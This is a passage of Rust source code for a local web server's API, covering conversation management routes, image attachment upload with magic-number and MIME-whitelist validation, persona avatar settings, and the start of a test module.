9992        // As in `talk_agent`: settle the claim before replying, even on refusal.
9993        let observed = ui.queued_generation(&id);
9994        let fresh = {
9995            let ui = Arc::clone(&ui);
9996            let id = id.clone();
9997            blocking(move || Ok(ui.talks.get(&id)?)).await
9998        };
9999        let draining = match fresh {
10000            Ok(talk) => {
10001                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10002            }
10003            Err(_) => false,
10004        };
10005        let talk = switched?;
10006        Ok(Json(TalkView::new(talk, draining, &ui)))
10007    })
10008    .await
10009}
10010
10011/// The body of `POST /api/talks/{id}/implementers`.
10012#[derive(Debug, Deserialize)]
10013struct TalkImplementers {
10014    implementers: u8,
10015}
10016
10017/// `POST /api/talks/{id}/implementers` - choose how many implementers the tasks it files use (1 is Solo). Shaped
10018/// like [`talk_agent`]: the turn guard is held for the change and always handed
10019/// to `drain_loop`, so a draft left meanwhile is not stranded.
10020async fn talk_implementers(
10021    State(ui): State<Arc<Ui>>,
10022    Path(id): Path<String>,
10023    Json(body): Json<TalkImplementers>,
10024) -> ApiResult<Json<TalkView>> {
10025    let admission = ui.begin_admission()?;
10026    admitted(admission, async move {
10027        let id = {
10028            let ui = Arc::clone(&ui);
10029            blocking(move || resolve_talk(&ui.talks, &id)).await?
10030        };
10031        let _publication = crate::consult::publication_guard(&ui.talks, &id)
10032            .await
10033            .map_err(ApiError::from)?;
10034        let repo = {
10035            let ui = Arc::clone(&ui);
10036            let id = id.clone();
10037            blocking(move || Ok(ui.talks.get(&id)?.repo)).await?
10038        };
10039        let cfg = config_for(&repo).await?;
10040        // Refuse a request that cannot succeed before taking the claim: a claim
10041        // taken for it is handed to `drain_loop`, which holds the talk busy for a
10042        // moment, so a refusal would make the next request see "busy" instead of
10043        // its own answer. The checks after the claim stay the ones that decide.
10044        {
10045            let ui = Arc::clone(&ui);
10046            let id = id.clone();
10047            let cfg = cfg.clone();
10048            let wanted = body.implementers;
10049            blocking(move || {
10050                talk::check_implementers(wanted, &cfg).map_err(ApiError::bad_request)?;
10051                refuse_if_closed(&ui.talks.get(&id)?)
10052            })
10053            .await?;
10054        }
10055        let Some(turn_guard) = ui.begin_talk_turn(&id)? else {
10056            return Err(ApiError::conflict(
10057                "a talk turn is running; change the implementers once it has answered",
10058            ));
10059        };
10060        let switched = {
10061            let ui = Arc::clone(&ui);
10062            let id = id.clone();
10063            let cfg = cfg.clone();
10064            blocking(move || {
10065                let chosen = talk::check_implementers(body.implementers, &cfg)
10066                    .map_err(ApiError::bad_request)?;
10067                let mut talk = ui.talks.get(&id)?;
10068                if !talk.status.open() {
10069                    return Err(ApiError::conflict(format!(
10070                        "talk {} is {} and takes no more turns",
10071                        talk.short(),
10072                        talk.status.as_str()
10073                    )));
10074                }
10075                talk::switch_implementers(&mut talk, &ui.talks, chosen)?;
10076                Ok(talk)
10077            })
10078            .await
10079        };
10080        // As in `talk_agent`: settle the claim before replying, even on refusal.
10081        let observed = ui.queued_generation(&id);
10082        let fresh = {
10083            let ui = Arc::clone(&ui);
10084            let id = id.clone();
10085            blocking(move || Ok(ui.talks.get(&id)?)).await
10086        };
10087        let draining = match fresh {
10088            Ok(talk) => {
10089                settle_settings_turn(talk, ui.talks.clone(), cfg, id, turn_guard, observed).await
10090            }
10091            Err(_) => false,
10092        };
10093        let talk = switched?;
10094        Ok(Json(TalkView::new(talk, draining, &ui)))
10095    })
10096    .await
10097}
10098
10099/// `POST /api/talks/{id}/close`.
10100async fn talk_close(
10101    State(ui): State<Arc<Ui>>,
10102    Path(id): Path<String>,
10103) -> ApiResult<Json<TalkView>> {
10104    blocking(move || {
10105        let id = resolve_talk(&ui.talks, &id)?;
10106        let mut talk = ui.talks.get(&id)?;
10107        talk::close(&mut talk, &ui.talks)?;
10108        let thinking = ui.is_thinking(&talk.id);
10109        Ok(Json(TalkView::new(talk, thinking, &ui)))
10110    })
10111    .await
10112}
10113
10114/// `POST /api/talks/{id}/reopen`.
10115async fn talk_reopen(
10116    State(ui): State<Arc<Ui>>,
10117    Path(id): Path<String>,
10118) -> ApiResult<Json<TalkView>> {
10119    blocking(move || {
10120        let id = resolve_talk(&ui.talks, &id)?;
10121        let mut talk = ui.talks.get(&id)?;
10122        talk::reopen(&mut talk, &ui.talks)?;
10123        let thinking = ui.is_thinking(&talk.id);
10124        Ok(Json(TalkView::new(talk, thinking, &ui)))
10125    })
10126    .await
10127}
10128
10129/// `DELETE /api/talks/{id}`.
10130///
10131/// Removes the conversation's record and artifacts outright, unlike
10132/// [`talk_close`] which keeps the record as history. A turn already in
10133/// flight is not refused here the way [`run_delete`] refuses a live run:
10134/// [`talk::record`] and the tail of [`talk::turn`] check for themselves,
10135/// under [`Talks::guard`], that the record they are about to write back is
10136/// still there, so a delete racing a turn is safe without this route having
10137/// to know a turn is running at all.
10138async fn talk_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
10139    blocking(move || {
10140        let id = resolve_talk(&ui.talks, &id)?;
10141        ui.talks.remove(&id)?;
10142        Ok(StatusCode::NO_CONTENT)
10143    })
10144    .await
10145}
10146
10147fn talk_ids(root: &FsPath) -> Vec<String> {
10148    std::fs::read_dir(root)
10149        .into_iter()
10150        .flatten()
10151        .flatten()
10152        .filter_map(|e| {
10153            let path = e.path();
10154            if path.extension().is_some_and(|ext| ext == "json") {
10155                path.file_stem().and_then(|s| s.to_str()).map(str::to_owned)
10156            } else {
10157                None
10158            }
10159        })
10160        .collect()
10161}
10162
10163/// Expand an id or short id to exactly one talk id.
10164fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
10165    if plain_record_id(id) && store.path_of(id).is_file() {
10166        return Ok(id.to_owned());
10167    }
10168    pick(talk_ids(store.root()), id, "talk")
10169}
10170
10171/// `POST /api/talks/{id}/attachments` - upload one image to attach to a
10172/// future `talk-say`.
10173async fn talk_attachment_post(
10174    State(ui): State<Arc<Ui>>,
10175    Path(id): Path<String>,
10176    headers: HeaderMap,
10177    body: Bytes,
10178) -> ApiResult<(StatusCode, Json<talk::Attachment>)> {
10179    let mime = validate_attachment(&headers, &body)?;
10180    let name = filename_header(&headers);
10181    let data = body.to_vec();
10182    blocking(move || {
10183        let id = resolve_talk(&ui.talks, &id)?;
10184        let att = ui.talks.put_attachment(&id, mime, &name, &data)?;
10185        Ok((StatusCode::CREATED, Json(att)))
10186    })
10187    .await
10188}
10189
10190/// `GET /api/talks/{id}/attachments/{att}` - the stored image back, for a
10191/// `<img>` tag in the transcript.
10192async fn talk_attachment_get(
10193    State(ui): State<Arc<Ui>>,
10194    Path((id, att)): Path<(String, String)>,
10195) -> ApiResult<Response> {
10196    blocking(move || {
10197        let id = resolve_talk(&ui.talks, &id)?;
10198        let Some((meta, data)) = ui.talks.read_attachment(&id, &att)? else {
10199            return Err(ApiError::not_found(format!(
10200                "talk {id} has no attachment `{att}`"
10201            )));
10202        };
10203        Ok(attachment_response(&meta.mime, data))
10204    })
10205    .await
10206}
10207
10208/// The avatar URL for one persona of one conversation. `v` is a fingerprint of
10209/// the icon setting, so changing it changes the URL.
10210fn avatar_url(home: &FsPath, talk_id: &str, p: &persona::Persona) -> String {
10211    let id = avatar_encode(&p.id);
10212    format!(
10213        "/api/talks/{talk_id}/avatar?persona={id}&v={}",
10214        persona_icon::fingerprint(
10215            effective_persona_icon(home, &p.id, p.icon.as_deref()).as_deref()
10216        )
10217    )
10218}
10219
10220#[derive(Debug, Default, Deserialize)]
10221struct AvatarQuery {
10222    persona: Option<String>,
10223    /// Set by the page after the first load failed: skip the `icon`.
10224    builtin: Option<String>,
10225}
10226
10227/// Served with every built-in avatar: it is an image, so nothing else may run.
10228const AVATAR_CSP: &str = "default-src 'none'; style-src 'unsafe-inline'; sandbox";
10229
10230fn builtin_avatar(id: &str) -> Response {
10231    svg_avatar(persona_icon::builtin_svg(id))
10232}
10233
10234async fn operator_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10235    raster_or_builtin(
10236        read_icon_file(&avatar_setting_path(&ui.home, None))
10237            .filter(|_| q.builtin.is_none())
10238            .as_deref(),
10239        persona_icon::operator_svg(),
10240    )
10241}
10242
10243fn svg_avatar(svg: &'static str) -> Response {
10244    (
10245        [
10246            (header::CONTENT_TYPE, "image/svg+xml"),
10247            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10248            (header::CONTENT_SECURITY_POLICY, AVATAR_CSP),
10249            (header::CACHE_CONTROL, "no-cache"),
10250        ],
10251        svg,
10252    )
10253        .into_response()
10254}
10255
10256fn avatar_encode(value: &str) -> String {
10257    value
10258        .bytes()
10259        .map(|b| {
10260            if b.is_ascii_alphanumeric() || b"-_.".contains(&b) {
10261                char::from(b).to_string()
10262            } else {
10263                format!("%{b:02X}")
10264            }
10265        })
10266        .collect()
10267}
10268
10269// Display-only overrides live outside configuration and conversation records.
10270fn avatar_setting_path(home: &FsPath, persona: Option<&str>) -> PathBuf {
10271    let Some(id) = persona else {
10272        return home.join("avatars/operator.data");
10273    };
10274    let encoded: String = id.bytes().map(|b| format!("{b:02x}")).collect();
10275    let mut path = home.join("avatars/personas");
10276    for chunk in encoded.as_bytes().chunks(100) {
10277        path.push(std::str::from_utf8(chunk).expect("hex"));
10278    }
10279    path.join("icon.data")
10280}
10281
10282fn effective_persona_icon(home: &FsPath, id: &str, configured: Option<&str>) -> Option<String> {
10283    match read_icon_file(&avatar_setting_path(home, Some(id))) {
10284        Some(value) if value == "builtin" => Some(String::new()),
10285        Some(value) => Some(value),
10286        None => configured.map(str::to_owned),
10287    }
10288}
10289
10290fn operator_icon_url(home: &FsPath) -> String {
10291    format!(
10292        "/avatars/operator.svg?v={}",
10293        persona_icon::fingerprint(
10294            read_icon_file(&avatar_setting_path(home, None))
10295                .as_deref()
10296                .or(Some(persona_icon::operator_svg()))
10297        )
10298    )
10299}
10300
10301fn raster_or_builtin(icon: Option<&str>, builtin: &'static str) -> Response {
10302    let mut response = match icon.and_then(|i| persona_icon::load(i).ok()) {
10303        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10304            attachment_response(mime, bytes)
10305        }
10306        _ => svg_avatar(builtin),
10307    };
10308    response
10309        .headers_mut()
10310        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10311    response
10312}
10313
10314#[derive(Default, Deserialize)]
10315struct AvatarSettingsQuery {
10316    repo: Option<PathBuf>,
10317    persona: Option<String>,
10318    builtin: Option<String>,
10319    inherit: Option<String>,
10320}
10321
10322fn avatar_settings_specs(
10323    ui: &Ui,
10324    repo: Option<PathBuf>,
10325) -> ApiResult<(PathBuf, Vec<crate::config::PersonaSpec>)> {
10326    let (repo, _) = settings_context(ui, SettingsQuery { repo })?;
10327    let specs = settings::repository_config(&repo, ui.machine_config.as_deref())
10328        .map(|cfg| cfg.talk.personas)
10329        .unwrap_or_default();
10330    Ok((repo, specs))
10331}
10332
10333fn saved_persona_ids(path: &FsPath, prefix: &str, out: &mut Vec<String>) {
10334    let Ok(entries) = std::fs::read_dir(path) else {
10335        return;
10336    };
10337    for entry in entries.flatten() {
10338        let name = entry.file_name().to_string_lossy().into_owned();
10339        if name == "icon.data" {
10340            let bytes: Option<Vec<u8>> = prefix
10341                .as_bytes()
10342                .chunks(2)
10343                .map(|c| u8::from_str_radix(std::str::from_utf8(c).ok()?, 16).ok())
10344                .collect();
10345            if let Some(id) = bytes.and_then(|b| String::from_utf8(b).ok()) {
10346                out.push(id);
10347            }
10348        } else if name.len() <= 100
10349            && !name.is_empty()
10350            && name.bytes().all(|b| b.is_ascii_hexdigit())
10351            && entry.file_type().is_ok_and(|t| t.is_dir())
10352        {
10353            saved_persona_ids(&entry.path(), &format!("{prefix}{name}"), out);
10354        }
10355    }
10356}
10357
10358async fn avatar_settings_get(
10359    State(ui): State<Arc<Ui>>,
10360    Query(q): Query<AvatarSettingsQuery>,
10361) -> ApiResult<Json<serde_json::Value>> {
10362    blocking(move || {
10363        let (repo, specs) = avatar_settings_specs(&ui, q.repo)?;
10364        let mut catalog = persona::catalog(&specs);
10365        let known_ids: Vec<_> = catalog.iter().map(|p| p.id.clone()).collect();
10366        let mut saved = Vec::new();
10367        saved_persona_ids(&ui.home.join("avatars/personas"), "", &mut saved);
10368        for id in saved {
10369            if !catalog.iter().any(|p| p.id == id) {
10370                catalog.push(persona::Persona { name: format!("{id} (saved override)"), id, prompt: String::new(), icon: None });
10371            }
10372        }
10373        let personas: Vec<_> = catalog.iter().map(|p| {
10374            let saved = read_icon_file(&avatar_setting_path(&ui.home, Some(&p.id)));
10375            let override_state = match saved.as_deref() {
10376                Some("builtin") => "builtin",
10377                Some(_) => "custom",
10378                None => "inherit",
10379            };
10380            let icon = effective_persona_icon(&ui.home, &p.id, p.icon.as_deref());
10381            serde_json::json!({"id":p.id,"name":p.name,
10382                "override_state":override_state,"has_config_icon":p.icon.is_some(),
10383                "is_orphan":!known_ids.contains(&p.id),"avatar":format!("/avatars/persona?persona={}&repo={}&v={}",
10384                avatar_encode(&p.id), avatar_encode(&repo.to_string_lossy()), persona_icon::fingerprint(icon.as_deref()))})
10385        }).collect();
10386        Ok(Json(serde_json::json!({"operator":operator_icon_url(&ui.home), "personas":personas})))
10387    }).await
10388}
10389
10390async fn settings_persona_avatar(
10391    State(ui): State<Arc<Ui>>,
10392    Query(q): Query<AvatarSettingsQuery>,
10393) -> ApiResult<Response> {
10394    blocking(move || {
10395        let (_, specs) = avatar_settings_specs(&ui, q.repo)?;
10396        let id = q.persona.as_deref().unwrap_or(persona::DEFAULT_ID);
10397        let found = persona::find(&specs, id);
10398        let icon =
10399            effective_persona_icon(&ui.home, id, found.as_ref().and_then(|p| p.icon.as_deref()));
10400        Ok(raster_or_builtin(
10401            icon.as_deref().filter(|_| q.builtin.is_none()),
10402            persona_icon::builtin_svg(id),
10403        ))
10404    })
10405    .await
10406}
10407
10408fn validate_avatar_target(q: &AvatarSettingsQuery) -> ApiResult<()> {
10409    if q.persona
10410        .as_ref()
10411        .is_some_and(|p| p.is_empty() || p.len() > 4096)
10412    {
10413        return Err(ApiError::bad_request("invalid persona id"));
10414    }
10415    Ok(())
10416}
10417
10418async fn avatar_settings_put(
10419    State(ui): State<Arc<Ui>>,
10420    Query(q): Query<AvatarSettingsQuery>,
10421    Json(upload): Json<MagiIconUpload>,
10422) -> ApiResult<Json<serde_json::Value>> {
10423    blocking(move || {
10424        validate_avatar_target(&q)?;
10425        save_icon_file(
10426            &avatar_setting_path(&ui.home, q.persona.as_deref()),
10427            &upload.icon,
10428        )
10429        .map_err(ApiError::bad_request_from)?;
10430        Ok(Json(serde_json::json!({"saved":true})))
10431    })
10432    .await
10433}
10434
10435async fn avatar_settings_delete(
10436    State(ui): State<Arc<Ui>>,
10437    Query(q): Query<AvatarSettingsQuery>,
10438) -> ApiResult<Json<serde_json::Value>> {
10439    blocking(move || {
10440        validate_avatar_target(&q)?;
10441        let path = avatar_setting_path(&ui.home, q.persona.as_deref());
10442        if q.persona.is_some() && q.inherit.is_none() {
10443            atomic_icon_write(&path, "builtin")?;
10444        } else {
10445            match std::fs::remove_file(path) {
10446                Ok(()) => (),
10447                Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10448                Err(e) => return Err(anyhow::Error::from(e).into()),
10449            }
10450        }
10451        Ok(Json(serde_json::json!({"saved":true})))
10452    })
10453    .await
10454}
10455
10456// The global MAGI icon is deliberately independent of repository configuration.
10457fn magi_icon_path(home: &FsPath) -> PathBuf {
10458    home.join("magi-icon.data")
10459}
10460
10461fn read_magi_icon(home: &FsPath) -> Option<String> {
10462    read_icon_file(&magi_icon_path(home))
10463}
10464
10465fn read_icon_file(path: &FsPath) -> Option<String> {
10466    let metadata = std::fs::metadata(path).ok()?;
10467    if !metadata.is_file() || metadata.len() > persona_icon::ICON_MAX_BYTES as u64 {
10468        return None;
10469    }
10470    let file = std::fs::File::open(path).ok()?;
10471    use std::io::Read;
10472    let mut text = String::new();
10473    file.take(persona_icon::ICON_MAX_BYTES as u64 + 1)
10474        .read_to_string(&mut text)
10475        .ok()?;
10476    if text.len() > persona_icon::ICON_MAX_BYTES {
10477        return None;
10478    }
10479    if text == "builtin" {
10480        return Some(text);
10481    }
10482    validate_uploaded_icon(&text).ok()?;
10483    Some(text)
10484}
10485
10486fn magi_icon_url(home: &FsPath) -> String {
10487    format!(
10488        "/avatars/magi?v={}",
10489        persona_icon::fingerprint(read_magi_icon(home).as_deref())
10490    )
10491}
10492
10493async fn magi_icon_get(State(ui): State<Arc<Ui>>) -> Json<serde_json::Value> {
10494    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10495}
10496
10497#[derive(Deserialize)]
10498struct MagiIconUpload {
10499    icon: String,
10500}
10501
10502fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10503    save_icon_file(&magi_icon_path(home), icon)
10504}
10505
10506fn validate_uploaded_icon(icon: &str) -> Result<()> {
10507    if !icon.starts_with("data:") {
10508        anyhow::bail!("upload a raster image");
10509    }
10510    let (mime, bytes) = persona_icon::load(icon)?;
10511    if sniffed_mime(&bytes) != Some(mime) {
10512        anyhow::bail!("image content does not match its type");
10513    }
10514    Ok(())
10515}
10516
10517fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10518    validate_uploaded_icon(icon)?;
10519    atomic_icon_write(path, icon)
10520}
10521
10522fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10523    let home = path.parent().expect("icon parent");
10524    std::fs::create_dir_all(home)?;
10525    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10526    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10527    let result = (|| -> Result<()> {
10528        use std::io::Write;
10529        let mut file = std::fs::OpenOptions::new()
10530            .write(true)
10531            .create_new(true)
10532            .open(&temp)?;
10533        file.write_all(icon.as_bytes())?;
10534        file.sync_all()?;
10535        std::fs::rename(&temp, path)?;
10536        Ok(())
10537    })();
10538    let _ = std::fs::remove_file(temp);
10539    result?;
10540    Ok(())
10541}
10542
10543async fn magi_icon_put(
10544    State(ui): State<Arc<Ui>>,
10545    Json(upload): Json<MagiIconUpload>,
10546) -> ApiResult<Json<serde_json::Value>> {
10547    blocking(move || {
10548        if !upload.icon.starts_with("data:") {
10549            return Err(ApiError::bad_request("upload a raster image"));
10550        }
10551        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10552        if sniffed_mime(&bytes) != Some(mime) {
10553            return Err(ApiError::bad_request(
10554                "image content does not match its type",
10555            ));
10556        }
10557        save_magi_icon(&ui.home, &upload.icon)?;
10558        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10559    })
10560    .await
10561}
10562
10563async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10564    blocking(move || {
10565        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10566            Ok(()) => (),
10567            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10568            Err(e) => return Err(anyhow::Error::from(e).into()),
10569        }
10570        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10571    })
10572    .await
10573}
10574
10575async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10576    let icon = (q.builtin.is_none())
10577        .then(|| read_magi_icon(&ui.home))
10578        .flatten();
10579    let mut response = match icon
10580        .as_deref()
10581        .and_then(|icon| persona_icon::load(icon).ok())
10582    {
10583        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10584            attachment_response(mime, bytes)
10585        }
10586        _ => svg_avatar(persona_icon::magi_svg()),
10587    };
10588    response
10589        .headers_mut()
10590        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10591    response
10592}
10593
10594/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10595/// operator's raster `icon` when it resolves and its bytes agree with its
10596/// type, the built-in SVG otherwise. Display only; every failure is a warning
10597/// and the built-in avatar, never an error response.
10598async fn talk_avatar(
10599    State(ui): State<Arc<Ui>>,
10600    Path(id): Path<String>,
10601    Query(q): Query<AvatarQuery>,
10602) -> ApiResult<Response> {
10603    blocking(move || {
10604        let id = resolve_talk(&ui.talks, &id)?;
10605        let talk = ui.talks.get(&id)?;
10606        let wanted = q
10607            .persona
10608            .as_deref()
10609            .map(str::trim)
10610            .filter(|p| !p.is_empty())
10611            .unwrap_or(&talk.persona)
10612            .to_owned();
10613        let specs = match Config::discover(&talk.repo, None) {
10614            Ok((cfg, _)) => cfg.talk.personas,
10615            Err(e) => {
10616                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
10617                Vec::new()
10618            }
10619        };
10620        let found = persona::find(&specs, &wanted);
10621        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
10622        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
10623        let icon = effective_persona_icon(
10624            &ui.home,
10625            &wanted,
10626            found.as_ref().and_then(|p| p.icon.as_deref()),
10627        );
10628        if found.is_none() && icon.is_none() {
10629            return Ok(builtin_avatar(persona::DEFAULT_ID));
10630        }
10631        let Some(icon) = icon
10632            .as_deref()
10633            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
10634        else {
10635            return Ok(builtin_avatar(&wanted));
10636        };
10637        let Some(found) = found else {
10638            return Ok(raster_or_builtin(
10639                Some(icon),
10640                persona_icon::builtin_svg(&wanted),
10641            ));
10642        };
10643        match persona_icon::load(icon) {
10644            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10645                let mut res = attachment_response(mime, bytes);
10646                res.headers_mut().insert(
10647                    header::CACHE_CONTROL,
10648                    header::HeaderValue::from_static("no-cache"),
10649                );
10650                Ok(res)
10651            }
10652            Ok((mime, _)) => {
10653                tracing::warn!(
10654                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
10655                    found.id
10656                );
10657                Ok(builtin_avatar(&found.id))
10658            }
10659            Err(e) => {
10660                tracing::warn!(
10661                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
10662                    found.id
10663                );
10664                Ok(builtin_avatar(&found.id))
10665            }
10666        }
10667    })
10668    .await
10669}
10670
10671/// Validate an attachment upload's declared `Content-Type` and the bytes
10672/// themselves, returning the canonical mime on success.
10673///
10674/// Two checks, both required: the header has to name one of
10675/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
10676/// simply never in the list, active content rather than a picture, the same
10677/// exclusion [`asset_content_type`]'s doc explains), and the file's own
10678/// magic number has to agree. The second is what stops a mislabeled upload -
10679/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
10680/// a declared type is a claim, not a fact, so it is never trusted alone.
10681fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
10682    if data.len() > ATTACHMENT_MAX_BYTES {
10683        return Err(ApiError::bad_request(format!(
10684            "attachment is {} bytes, over the {} MiB limit",
10685            data.len(),
10686            ATTACHMENT_MAX_BYTES / (1024 * 1024)
10687        ))
10688        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
10689    }
10690    if data.is_empty() {
10691        return Err(ApiError::bad_request("attachment is empty"));
10692    }
10693    let declared = declared_mime(headers)?;
10694    match sniffed_mime(data) {
10695        Some(sniffed) if sniffed == declared => Ok(declared),
10696        Some(sniffed) => Err(ApiError::bad_request(format!(
10697            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
10698        ))),
10699        None => Err(ApiError::bad_request(
10700            "the file's bytes do not match any accepted image format",
10701        )),
10702    }
10703}
10704
10705/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
10706/// and nothing else - parameters like `; charset=` are stripped, but the
10707/// value itself is not otherwise interpreted.
10708fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
10709    let raw = headers
10710        .get(header::CONTENT_TYPE)
10711        .and_then(|v| v.to_str().ok())
10712        .unwrap_or("")
10713        .split(';')
10714        .next()
10715        .unwrap_or("")
10716        .trim()
10717        .to_ascii_lowercase();
10718    ATTACHMENT_MIME_WHITELIST
10719        .iter()
10720        .find(|&&m| m == raw)
10721        .copied()
10722        .ok_or_else(|| {
10723            if raw == "image/svg+xml" {
10724                ApiError::bad_request(
10725                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
10726                     not just a picture",
10727                )
10728            } else if raw.is_empty() {
10729                ApiError::bad_request("Content-Type is required for an attachment upload")
10730            } else {
10731                ApiError::bad_request(format!(
10732                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
10733                     image/gif or image/webp"
10734                ))
10735            }
10736        })
10737}
10738
10739/// Identify an image by its magic number, independent of whatever
10740/// `Content-Type` claimed.
10741fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
10742    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
10743        Some("image/png")
10744    } else if data.starts_with(b"\xff\xd8\xff") {
10745        Some("image/jpeg")
10746    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
10747        Some("image/gif")
10748    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
10749        Some("image/webp")
10750    } else {
10751        None
10752    }
10753}
10754
10755/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
10756/// display - see [`talk::Attachment::name`]'s doc on why it never
10757/// contributes to a path. A missing or blank header (curl without it, an
10758/// older front end) falls back to a generic name rather than refusing the
10759/// upload over a field that is cosmetic.
10760fn filename_header(headers: &HeaderMap) -> String {
10761    headers
10762        .get(FILENAME_HEADER)
10763        .and_then(|v| v.to_str().ok())
10764        .map(str::trim)
10765        .filter(|s| !s.is_empty())
10766        .unwrap_or("attachment")
10767        .to_owned()
10768}
10769
10770/// Every attachment `GET` response: the mime re-validated against the same
10771/// closed whitelist the upload route enforces - never the string trusted
10772/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
10773/// cannot decide it knows better than the type we send. Unlike a panel asset
10774/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
10775/// document renders inline, not agent-authored HTML in a sandboxed frame.
10776fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
10777    let content_type = ATTACHMENT_MIME_WHITELIST
10778        .iter()
10779        .find(|&&m| m == mime)
10780        .copied()
10781        .unwrap_or("application/octet-stream");
10782    (
10783        [
10784            (header::CONTENT_TYPE, content_type),
10785            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
10786        ],
10787        body,
10788    )
10789        .into_response()
10790}
10791
10792/// The configuration for a repository, read off the disk for this request.
10793///
10794/// Through [`blocking`] because discovery reads and merges several TOML files,
10795/// and because the alternative - caching it in [`Ui`] at startup - would mean
10796/// the operator's phone kept interviewing with a roster they had already
10797/// changed, with no way to reload it but restarting the server they are not
10798/// sitting in front of.
10799async fn config_for(repo: &FsPath) -> ApiResult<Config> {
10800    let repo = repo.to_path_buf();
10801    blocking(move || {
10802        let (cfg, _) = Config::discover(&repo, None)?;
10803        Ok(cfg)
10804    })
10805    .await
10806}
10807
10808/// The one prefix rule, used for both runs and tasks: a leading match for a
10809/// full id, a trailing match for the short form an operator reads off a
10810/// report. Written here rather than borrowed from `queue::resolve_id` because
10811/// the UI needs the two failures as different status codes, and telling them
10812/// apart from an error message is not something to build a route on.
10813fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
10814    let mut hits = ids
10815        .into_iter()
10816        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
10817    match (hits.next(), hits.next()) {
10818        (Some(one), None) => Ok(one),
10819        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
10820        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
10821            "`{prefix}` matches more than one {what}, including {a} and {b}"
10822        ))),
10823    }
10824}
10825
10826#[cfg(test)]
10827mod tests {
10828
10829    #[test]
10830    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
10831        let dir = tempfile::tempdir().unwrap();
10832        let store = ask::Questions::at(dir.path().join("questions"));
10833        let mut q = Question::new(
10834            "task".to_owned(),
10835            "conduct".to_owned(),
10836            "conduct".to_owned(),
10837            "choose".to_owned(),
10838            String::new(),
10839            vec!["keep".to_owned()],
10840        );
10841        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
10842        q.say("why?").unwrap();
10843        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
10844        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10845        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
10846        store.put(&mut q).unwrap();
10847        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10848        assert_eq!(store.count_needs_owner(), 1);
10849        store.beat(&q.id, ask::WaiterKind::Deputy);
10850        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
10851        assert_eq!(store.count_needs_owner(), 0);
10852        let mut stale = store.read_lease(&q.id).unwrap();
10853        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
10854        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
10855        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
10856        assert!(view.deputy_exhausted);
10857        assert!(view.waiting_on_agent);
10858        assert_eq!(view.question.choices, ["keep"]);
10859        store.drop_lease(&q.id);
10860        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
10861        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
10862    }
10863
10864    #[test]
10865    fn holder_reads_the_lease_not_the_record() {
10866        let mut q = Question::new(
